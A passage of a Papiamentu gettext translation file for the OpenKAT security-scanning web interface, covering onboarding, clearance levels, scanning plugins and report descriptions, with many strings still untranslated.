onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"Enviá kambionan\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"Sigi\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"Setup Indemnizashon\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"Indemnizashon riba e organisashon ta presente kaba.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"Kiko ta mi nivel di autorisashon?\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"Legumai onboarding\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"Ophetonan relatá\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"Krea opheto\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"Pone nivél di autorisashon\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"Konfiguráß organisashon\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"{org_name} a wòrdu krea ku èksito.\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"{org_name} a wòrdu kambia ku èksito.\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"Kreando un opheto\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"Filtra pa tiponan di OOI\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Monthly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"Sèrvicio\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"Vershon\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"Salú\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"Salú\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked off.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"Resúmen\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"Nivél di rièsgo\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this \"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"Data\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"Tipo\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"Si\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"Nò\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr \"DNS Rapòrt\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers 